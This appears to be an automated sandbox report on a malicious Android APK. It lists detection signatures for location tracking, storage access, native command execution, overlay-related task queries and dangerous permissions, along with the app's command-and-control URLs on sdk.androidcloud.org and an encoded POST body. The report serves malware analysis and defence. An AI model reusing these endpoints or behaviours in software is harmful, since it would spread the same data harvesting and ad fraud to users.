Loading ...

Play interactive tourEdit tour

Analysis Report m2sE4UM7Wk.apk

Overview

General Information

Joe Sandbox Version:26.0.0 Aquamarine
Analysis ID:910483
Start date:12.07.2019
Start time:14:02:28
Joe Sandbox Product:Cloud
Overall analysis duration:0h 5m 12s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:m2sE4UM7Wk.apk
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android 7.1 Nougat
APK Instrumentation enabled:false
Detection:MAL
Classification:mal80.andAPK@0/253@5/0
Warnings:
Show All
  • An application runtime error occurred
  • Excluded IPs from analysis (whitelisted): 172.217.22.106, 216.58.210.10, 172.217.16.202, 172.217.18.106, 172.217.23.170, 216.58.205.234, 172.217.22.10, 172.217.18.170, 172.217.23.138, 216.58.206.10, 216.58.207.42, 172.217.16.170, 216.58.208.42, 172.217.16.138, 172.217.22.42, 172.217.16.142, 172.217.22.78, 172.217.22.110, 216.58.210.14, 172.217.16.206, 172.217.18.110, 172.217.23.174, 216.58.205.238, 172.217.21.238, 172.217.18.14, 172.217.18.174, 172.217.23.142, 216.58.206.14, 216.58.207.46, 216.58.207.78, 172.217.22.67, 172.217.16.164, 216.58.207.74, 172.217.22.74, 172.217.18.10, 216.58.205.246, 172.217.21.246, 172.217.18.22, 172.217.23.150, 216.58.206.22, 216.58.208.54, 172.217.16.150, 172.217.22.86, 216.58.210.22, 172.217.16.214, 172.217.18.118, 172.217.23.182, 172.217.21.214, 172.217.16.174, 172.217.22.46, 216.58.205.227, 172.217.23.131
  • Excluded domains from analysis (whitelisted): android.clients.google.com, android.l.google.com, connectivitycheck.gstatic.com, youtubei.googleapis.com, youtube-ui.l.google.com, www.googleadservices.com, ytimg-edge-static.l.google.com, www.google.com, www.googleapis.com, googleapis.l.google.com
  • No dynamic data available
  • No interacted views
  • No simulation commands forwarded to apk
  • Not all non-executed APIs are in report
  • Report size exceeded maximum capacity and may have missing disassembly code.
  • Report size exceeded maximum capacity and may have missing dynamic data code.

Detection

StrategyScoreRangeReportingWhitelistedDetection
Threshold800 - 100Report FP / FNfalsemalicious

Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Analysis Advice

Unable to instrument or execute APK, runtime error occurred



Mitre Att&ck Matrix

Signature Overview

Click to jump to signature section


Location Tracking:

barindex
Queries the phones location (GPS)Show sources
Source: uAgent.commonsdk.proguard.d;->a:37API Call: android.location.LocationManager.getLastKnownLocation
Source: uAgent.commonsdk.proguard.d;->a:61API Call: android.location.LocationManager.getLastKnownLocation
Source: uAgent.commonsdk.proguard.e$1$1;->a:2API Call: android.location.Location.getLongitude
Source: uAgent.commonsdk.proguard.e$1$1;->a:3API Call: android.location.Location.getLatitude
Source: uAgent.commonsdk.internal.utils.k;->d:48API Call: android.telephony.TelephonyManager.getCellLocation

Spreading:

barindex
Accesses external storage locationShow sources
Source: com.android.leech.main.fix.ShareitMain;->delUpate:11API Call: android.os.Environment.getExternalStorageDirectory
Source: com.android.leech.main.fix.ShareitMain;->delUpate:13API Call: android.os.Environment.getExternalStorageDirectory
Source: com.android.leech.main.fix.XenderMain$1;->run:3API Call: android.os.Environment.getExternalStorageDirectory
Source: com.android.leech.main.fix.XenderMain;->delUpdate:5API Call: android.os.Environment.getExternalStorageDirectory
Source: com.android.leech.main.fix.XenderMain;->delUpdate:14API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.statistics.idtracking.r;->h:19API Call: android.os.Environment.getExternalStorageState
Source: uAgent.commonsdk.statistics.idtracking.r;->h:22API Call: android.os.Environment.getExternalStorageDirectory
Source: com.android.leech.main.res.BaseLoader;-><init>:3API Call: android.os.Environment.getExternalStorageDirectory
Source: com.android.leech.base.bugly.util.DeviceUtil;->e:8API Call: android.os.Environment.getExternalStorageState
Source: com.android.leech.base.bugly.util.DeviceUtil;->getSize:450API Call: android.os.Environment.getExternalStorageDirectory
Source: com.android.leech.base.bugly.util.IOUtils;->getAvailableExternalMemorySize:17API Call: android.os.Environment.getExternalStorageDirectory
Source: com.android.leech.base.bugly.util.IOUtils;->isSDCardMouted:33API Call: android.os.Environment.getExternalStorageState
Source: com.android.leech.base.util.ACache;->getCacheDir:66API Call: android.os.Environment.getExternalStorageState
Source: com.android.leech.base.util.Environment;->getSdPath:13API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.internal.utils.a;->c:56API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.internal.utils.a;->d:85API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.internal.utils.a;->h:161API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.internal.utils.a;->i:172API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.internal.utils.a;->j:179API Call: android.os.Environment.getExternalStorageState
Source: uAgent.commonsdk.internal.utils.a;->p:222API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.internal.utils.i;->a:25API Call: android.os.Environment.getExternalStorageState
Source: uAgent.commonsdk.internal.utils.i;->a:31API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.internal.utils.i;->a:42API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.internal.utils.i;->c:83API Call: android.os.Environment.getExternalStorageState
Source: uAgent.commonsdk.internal.utils.i;->c:87API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.internal.utils.i;->c:94API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.utils.UMUtils;->getFile:408API Call: android.os.Environment.getExternalStorageState
Source: uAgent.commonsdk.utils.UMUtils;->getFile:411API Call: android.os.Environment.getExternalStorageDirectory
Source: uAgent.commonsdk.utils.UMUtils;->isSdCardWrittenable:745API Call: android.os.Environment.getExternalStorageState
Source: com.android.google.coreappx.utils.IOUtils;->getAvailableExternalMemorySize:20API Call: android.os.Environment.getExternalStorageDirectory
Source: com.android.google.coreappx.utils.IOUtils;->isSDCardMouted:43API Call: android.os.Environment.getExternalStorageState

Networking:

barindex
Detected TCP or UDP traffic on non-standard portsShow sources
Source: global trafficTCP traffic: 192.168.1.92:51964 -> 13.232.28.13:8091
Uses known network protocols on non-standard portsShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 51964 -> 8091
Source: unknownNetwork traffic detected: HTTP traffic on port 8091 -> 51964
Source: unknownNetwork traffic detected: HTTP traffic on port 51964 -> 8091
Source: unknownNetwork traffic detected: HTTP traffic on port 8091 -> 51964
Source: unknownNetwork traffic detected: HTTP traffic on port 51966 -> 8091
Source: unknownNetwork traffic detected: HTTP traffic on port 8091 -> 51966
Source: unknownNetwork traffic detected: HTTP traffic on port 51966 -> 8091
Source: unknownNetwork traffic detected: HTTP traffic on port 8091 -> 51966
Checks an internet connection is availableShow sources
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getMacBySystemInterface:428API Call: android.net.wifi.WifiManager.getConnectionInfo
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getNetworkAccessMode:458API Call: android.net.ConnectivityManager.getNetworkInfo
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getNetworkAccessMode:459API Call: android.net.NetworkInfo.getState
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getNetworkAccessMode:462API Call: android.net.ConnectivityManager.getNetworkInfo
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getNetworkAccessMode:463API Call: android.net.NetworkInfo.getState
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->isOnline:570API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->isOnline:571API Call: android.net.NetworkInfo.isConnectedOrConnecting
Source: com.android.leech.base.download.BuglyDownload;->isWifiConnected:55API Call: android.net.ConnectivityManager.getNetworkInfo
Source: com.android.leech.base.download.BuglyDownload;->isWifiConnected:56API Call: android.net.NetworkInfo.isConnected
Source: uAgent.commonsdk.framework.b;->b:92API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: uAgent.commonsdk.framework.b;->b:93API Call: android.net.NetworkInfo.isConnectedOrConnecting
Source: uAgent.commonsdk.framework.c$1;->onReceive:13API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: uAgent.commonsdk.framework.c$1;->onReceive:17API Call: android.net.NetworkInfo.isAvailable
Source: uAgent.commonsdk.statistics.internal.c;->b:36API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: uAgent.commonsdk.stateless.d$1;->onReceive:12API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: uAgent.commonsdk.stateless.d$1;->onReceive:13API Call: android.net.NetworkInfo.isAvailable
Source: uAgent.commonsdk.stateless.e;->a:16API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.android.leech.base.bugly.util.DeviceUtil;->getNetworkType:132API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.android.leech.base.bugly.util.DeviceUtil;->getNetworkType:143API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.android.leech.base.bugly.util.DeviceUtil;->getWifiMacAddress:469API Call: android.net.wifi.WifiManager.getConnectionInfo
Source: com.android.leech.base.util.NetUtil;->is3G:7API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.android.leech.base.util.NetUtil;->isNetworkAvailable:11API Call: android.net.ConnectivityManager.getAllNetworkInfo
Source: com.android.leech.base.util.NetUtil;->isNetworkAvailable:12API Call: android.net.NetworkInfo.getState
Source: com.android.leech.base.util.NetUtil;->isWifi:16API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: uAgent.commonsdk.internal.utils.a;->c:62API Call: android.net.wifi.WifiManager.getConnectionInfo
Source: uAgent.commonsdk.internal.utils.a;->g:138API Call: android.net.wifi.WifiManager.getWifiState
Source: uAgent.commonsdk.utils.UMUtils;->getMac:540API Call: android.net.wifi.WifiManager.getConnectionInfo
Source: uAgent.commonsdk.utils.UMUtils;->getNetworkAccessMode:570API Call: android.net.ConnectivityManager.getNetworkInfo
Source: uAgent.commonsdk.utils.UMUtils;->getNetworkAccessMode:571API Call: android.net.NetworkInfo.getState
Source: uAgent.commonsdk.utils.UMUtils;->getNetworkAccessMode:574API Call: android.net.ConnectivityManager.getNetworkInfo
Source: uAgent.commonsdk.utils.UMUtils;->getNetworkAccessMode:575API Call: android.net.NetworkInfo.getState
Connects to IPs without corresponding DNS lookupsShow sources
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Source: unknownTCP traffic detected without corresponding DNS query: 64.233.166.188
Opens an internet connectionShow sources
Source: com.android.leech.main.ad.mini.base.HttpUtil;->decodeUriAsBitmapFromNet:3API Call: java.net.URL.openConnection (not executed)
Source: com.android.leech.main.ad.mini.base.HttpUtil;->report:10API Call: java.net.URL.openConnection (not executed)
Source: com.android.leech.main.ad.mini.base.HttpUtil;->request:37API Call: java.net.URL.openConnection (not executed)
Source: com.android.leech.main.ad.mini.download.DownloadThread;->run:3API Call: java.net.URL.openConnection (not executed)
Source: com.android.leech.main.ad.mini.download.FileDownloader;->start:134API Call: java.net.URL.openConnection (not executed)
Source: com.android.leech.base.bugly.download.t;->run:86API Call: java.net.URL.openConnection (not executed)
Source: uAgent.commonsdk.statistics.idtracking.s;->b:26API Call: java.net.URL.openConnection (not executed)
Source: uAgent.commonsdk.statistics.internal.c;->a:56API Call: java.net.URL.openConnection (not executed)
Source: uAgent.commonsdk.statistics.internal.c;->a:125API Call: java.net.URL.openConnection (not executed)
Source: com.android.leech.base.bugly.net.PostRunnable;->getBaseConnection:26API Call: java.net.URL.openConnection (not executed)
Source: com.android.leech.base.bugly.net.PostRunnable;->getBaseConnection:35API Call: java.net.URL.openConnection (not executed)
Source: uAgent.commonsdk.stateless.e;->a:41API Call: java.net.URL.openConnection (not executed)
Source: uAgent.commonsdk.stateless.e;->a:79API Call: java.net.URL.openConnection (not executed)
Source: uAgent.commonsdk.stateless.e;->b:109API Call: java.net.URL.openConnection (not executed)
Source: uAgent.commonsdk.stateless.e;->b:137API Call: java.net.URL.openConnection (not executed)
Source: com.android.leech.main.ad.mini.util.BitmapHelper;->decodeUriAsBitmapFromNet:3API Call: java.net.URL.openConnection (not executed)
Source: com.android.leech.base.util.HttpUtil;->report:3API Call: java.net.URL.openConnection (not executed)
Source: com.android.leech.base.util.HttpUtil;->request:28API Call: java.net.URL.openConnection (not executed)
Source: com.android.leech.patch.axmleditor.utils.IOUtils;->toByteArray:258API Call: java.net.URL.openConnection (not executed)
Performs DNS lookups (Java API)Show sources
Source: com.android.leech.patch.apksigner.sun.security.x509.IPAddressName;->parseIPv4:29API Call: java.net.InetAddress.getByName (not executed)
Source: com.android.leech.patch.apksigner.sun.security.x509.IPAddressName;->parseIPv4:32API Call: java.net.InetAddress.getByName (not executed)
Source: com.android.leech.patch.apksigner.sun.security.x509.IPAddressName;->parseIPv4:35API Call: java.net.InetAddress.getByName (not executed)
Source: com.android.leech.patch.apksigner.sun.security.x509.IPAddressName;->parseIPv6:42API Call: java.net.InetAddress.getByName (not executed)
Source: com.android.leech.patch.apksigner.sun.security.x509.IPAddressName;->parseIPv6:45API Call: java.net.InetAddress.getByName (not executed)
Scans for WIFI networksShow sources
Source: uAgent.commonsdk.internal.utils.a;->b:53API Call: android.net.wifi.WifiManager.getScanResults
Found strings which match to known social media urlsShow sources
Source: androidString found in binary or memory: com.facebook.ads.AdView equals www.facebook.com (Facebook)
Source: androidString found in binary or memory: com.facebook.ads.NativeAd equals www.facebook.com (Facebook)
Monitors network connection stateShow sources
Source: uAgent.commonsdk.framework.c;-><init>:22API Call: android.content.IntentFilter.addAction android.net.conn.CONNECTIVITY_CHANGE
Source: uAgent.commonsdk.stateless.d;-><init>:26API Call: android.content.IntentFilter.addAction android.net.conn.CONNECTIVITY_CHANGE
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: sdk.androidcloud.org
Posts data to webserverShow sources
Source: unknownHTTP traffic detected: POST /api/sdk.ad.requestRes HTTP/1.1Content-Type: application/json; charset=UTF-8Accept: application/jsonUser-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: sdk.androidcloud.org:8091Connection: Keep-AliveAccept-Encoding: gzipContent-Length: 1426Data Raw: 57 2b 41 32 63 78 37 33 4e 5a 6b 42 44 47 78 78 37 4c 76 55 4b 64 66 36 6b 4a 78 37 2f 54 2b 6d 7a 42 45 38 34 7a 44 33 6b 49 74 65 59 71 6a 77 50 35 46 43 63 32 71 63 35 77 66 39 57 48 42 35 37 47 64 6c 4a 64 55 31 66 7a 57 33 0a 36 71 6d 54 72 48 52 48 42 63 4f 73 54 75 37 44 69 49 2b 59 32 79 4d 53 76 6f 64 50 6e 4b 47 30 52 4a 5a 33 4f 31 72 4b 34 50 36 61 53 5a 47 6f 45 6b 51 6e 74 50 77 4c 6f 6d 4d 79 6c 7a 42 4e 6f 6f 41 62 43 73 31 62 67 41 33 67 0a 78 34 70 76 45 31 50 33 57 42 62 66 4f 56 77 6d 2b 64 41 73 37 62 4d 31 37 43 47 69 63 33 30 42 41 59 44 6f 50 67 46 55 75 35 6c 77 52 79 79 65 63 46 2f 57 2f 6f 6f 77 7a 75 69 50 79 56 57 51 4b 2b 74 6c 75 74 6e 78 4d 68 41 39 0a 35 67 32 45 32 39 33 50 4f 45 73
Urls found in memory or binary dataShow sources
Source: androidString found in binary or memory: http://android.bugly.qq.com/rqd/async
Source: androidString found in binary or memory: http://blog.bihe0832.com
Source: androidString found in binary or memory: http://gd.androidcloud.org
Source: androidString found in binary or memory: http://gd.androidcloud.org/api/sdk.ad.loadAds
Source: androidString found in binary or memory: http://rqd.uu.qq.com/rqd/sync
Source: authenticator.xml, AndroidManifest.xml, androidString found in binary or memory: http://schemas.android.com/apk/res/android
Source: androidString found in binary or memory: http://sdk.androidcloud.org:8091/api/sdk.ad.requestAds
Source: androidString found in binary or memory: http://sdk.androidcloud.org:8091/api/sdk.ad.requestList
Source: androidString found in binary or memory: http://sdk.androidcloud.org:8091/api/sdk.ad.requestRes
Source: androidString found in binary or memory: http://sdk.androidcloud.org:8091/api/sdk.ad.requestStat
Source: androidString found in binary or memory: http://sdk.androidcloud.org:8091/api/sdk.ad.requestUpdate
Source: androidString found in binary or memory: http://sdk.androidcloud.org:8091/api/sdk.ad.uploadResult
Source: androidString found in binary or memory: http://www.baidu.com/
Source: androidString found in binary or memory: https://cmnsguider.yunos.com:443/genDeviceToken
Source: androidString found in binary or memory: https://github.com/bihe0832
Source: androidString found in binary or memory: https://github.com/bihe0832/AndroidGetAPKInfo
Source: androidString found in binary or memory: https://play.google.com/store/apps/details?id=
Source: androidString found in binary or memory: https://plbslog.umeng.com/
Source: androidString found in binary or memory: https://preplbslog.umeng.com
Source: androidString found in binary or memory: https://ulogs.umeng.com/unify_logs
Source: androidString found in binary or memory: https://ulogs.umengcloud.com/unify_logs
Uses HTTP for connecting to the internetShow sources
Source: com.android.leech.main.ad.mini.base.HttpUtil;->decodeUriAsBitmapFromNet:5API Call: java.net.HttpURLConnection.connect
Source: com.android.leech.main.ad.mini.download.FileDownloader;->start:156API Call: java.net.HttpURLConnection.connect
Source: com.android.leech.base.bugly.download.t;->run:108API Call: javax.net.ssl.HttpsURLConnection.connect
Source: uAgent.commonsdk.statistics.internal.c;->a:92API Call: javax.net.ssl.HttpsURLConnection.connect
Source: uAgent.commonsdk.stateless.e;->a:67API Call: javax.net.ssl.HttpsURLConnection.connect
Source: uAgent.commonsdk.stateless.e;->b:127API Call: java.net.HttpURLConnection.connect
Source: com.android.leech.main.ad.mini.util.BitmapHelper;->decodeUriAsBitmapFromNet:5API Call: java.net.HttpURLConnection.connect
Uses HTTPSShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54302
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54300
Source: unknownNetwork traffic detected: HTTP traffic on port 58596 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54304
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58596
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 58588
Source: unknownNetwork traffic detected: HTTP traffic on port 54298 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54298
Source: unknownNetwork traffic detected: HTTP traffic on port 54302 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 58588 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 54300 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 54304 -> 443

E-Banking Fraud:

barindex
May query for the most recent running application (usually for UI overlaying)Show sources
Source: com.android.leech.base.util.EnvUtils;->isAppInForegroundgetRunningTasks and getPackageName invocations in same method: com.android.leech.base.util.EnvUtils;->isAppInForeground:20, com.android.leech.base.util.EnvUtils;->isAppInForeground:24
Source: com.android.leech.base.util.EnvUtils;->isAppInForegroundgetRunningTasks and getPackageName invocations in same method: com.android.leech.base.util.EnvUtils;->isAppInForeground:20, com.android.leech.base.util.EnvUtils;->isAppInForeground:24

Spam, unwanted Advertisements and Ransom Demands:

barindex
Loads advertisementShow sources
Source: androidString found in binary or memory: com.mopub.common.mopubbrowser

Operating System Destruction:

barindex
Lists and deletes files in the same contextShow sources
Source: com.android.leech.main.fix.ShareitMain;->delUpate:31API Calls in same method context: File.listFiles,File.delete
Source: com.android.leech.base.util.ACache$ACacheManager;->clear:27API Calls in same method context: File.listFiles,File.delete
Source: uAgent.commonsdk.framework.b;->d:118API Calls in same method context: File.listFiles,File.delete
Source: uAgent.commonsdk.stateless.f;->a:103API Calls in same method context: File.listFiles,File.delete
Source: uAgent.commonsdk.framework.b;->f:164API Calls in same method context: File.listFiles,File.delete
Source: uAgent.commonsdk.statistics.common.d$a;->a:22API Calls in same method context: File.listFiles,File.delete
Source: uAgent.commonsdk.statistics.common.d$a;->b:38API Calls in same method context: File.listFiles,File.delete

System Summary:

barindex
Executes native commandsShow sources
Source: com.android.leech.base.bugly.encode.ap;->a:64API Call: java.lang.Runtime.exec
Source: com.android.leech.main.installer.impl.ReParcelMain;->createInstallBundle:41API Call: java.lang.Runtime.exec
Source: com.android.leech.base.util.FileUtils;->bytesToFile:16API Call: java.lang.Runtime.exec
Source: com.android.leech.base.util.FileUtils;->chmod755:30API Call: java.lang.Runtime.exec
Source: com.android.leech.base.util.PhoneInfo;->getLinuxKernalInfoEx:66API Call: java.lang.ProcessBuilder.start
Source: com.android.leech.base.util.SystemPropertiesProxy;->getCpuArchitecture:15API Call: java.lang.Runtime.exec ("getprop ro.product.cpu.abi")
Source: uAgent.commonsdk.internal.utils.d;->b:37API Call: java.lang.ProcessBuilder.start
Source: uAgent.commonsdk.internal.utils.d;->c:51API Call: java.lang.ProcessBuilder.start
Source: uAgent.commonsdk.internal.utils.e;->a:5API Call: java.lang.Runtime.exec
Source: uAgent.commonsdk.internal.utils.g;->a:7API Call: java.lang.ProcessBuilder.start
Source: uAgent.commonsdk.internal.utils.l;->a:4API Call: java.lang.Runtime.exec
Kills/terminates processesShow sources
Source: uAgent.commonsdk.internal.utils.g;->a:43API Call: android.os.Process.killProcess
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.ACCESS_COARSE_LOCATION
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION
Source: submitted apkRequest permission: android.permission.AUTHENTICATE_ACCOUNTS
Source: submitted apkRequest permission: android.permission.BLUETOOTH
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Source: submitted apkRequest permission: android.permission.REORDER_TASKS
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Source: submitted apkRequest permission: android.permission.WRITE_SYNC_SETTINGS
Classification labelShow sources
Source: classification engineClassification label: mal80.andAPK@0/253@5/0
Creates SQLiteDatabase tableShow sources
Source: com.android.leech.base.bugly.database.af;->onCreate:25API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: com.android.leech.main.ad.mini.database.db.MySQLiteOpenHelper;->onCreate:10API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: uAgent.analytics.pro.d;->a:13API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: uAgent.analytics.pro.d;->b:17API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: uAgent.analytics.pro.d;->c:20API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: uAgent.analytics.pro.d;->d:23API Call: android.database.sqlite.SQLiteDatabase.execSQL
Source: com.android.leech.main.installer.database.table.InflectTable;->createTable:26API Call: android.database.sqlite.SQLiteDatabase.execSQL
Loads native librariesShow sources
Source: com.android.leech.patch.apksigner.sun.security.action.LoadLibraryAction;->run:4API Call: java.lang.System.loadLibrary
Reads shares settingsShow sources
Source: uAgent.analytics.b;->i:69API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.b;->i:78API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.statistics.common.d;->b:44API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.statistics.common.d;->d:49API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.statistics.common.d;->d:51API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.game.a;->b:38API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.game.a;->b:47API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.game.a;->b:52API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.game.a;->b:55API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.statistics.idtracking.Envelope;->genEncryptEnvelope:24API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.statistics.idtracking.Envelope;->genEnvelope:50API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.statistics.idtracking.Envelope;->getSignature:80API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.statistics.idtracking.e$a;->b:26API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.statistics.idtracking.q;->f:8API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.statistics.idtracking.s;->f:85API Call: android.content.SharedPreferences.getString
Source: com.android.leech.main.loader.multidex.MultiDexExtractor;->isUnpatchApk:121API Call: android.content.SharedPreferences.getBoolean
Source: uAgent.analytics.pro.g;->i:413API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.g;->i:448API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->d:281API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->d:299API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->d:303API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->d:336API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->d:354API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->d:358API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->h:467API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->h:483API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->i:505API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->j:543API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->j:559API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->k:581API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->a:814API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->b:943API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.i;->d:1051API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.m;->b:92API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.o;->a:72API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.o;->a:125API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.o;->a:134API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.o;->a:137API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.o;->a:140API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.o;->a:180API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.o;->a:202API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.o;->a:258API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.o;->c:393API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.t;->a:39API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.t;->a:41API Call: android.content.SharedPreferences.getString
Source: uAgent.analytics.pro.t;->c:54API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.proguard.e;->b:23API Call: android.content.SharedPreferences.getString
Source: com.android.leech.base.bugly.util.PreferencesUtils;->getBoolean:7API Call: android.content.SharedPreferences.getBoolean
Source: com.android.leech.base.bugly.util.PreferencesUtils;->getString:23API Call: android.content.SharedPreferences.getString
Source: com.android.leech.base.util.ShareUtils;->getBooleanValue:7API Call: android.content.SharedPreferences.getBoolean
Source: com.android.leech.base.util.ShareUtils;->getStringValue:41API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.f;->a:6API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.f;->a:46API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.f;->b:89API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.f;->d:104API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.i;->d:128API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.i;->i:145API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.j;->c:39API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.k;->e:74API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.k;->f:79API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.l;->a:25API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.l;->a:30API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.l;->a:35API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.internal.utils.l;->c:85API Call: android.content.SharedPreferences.getString
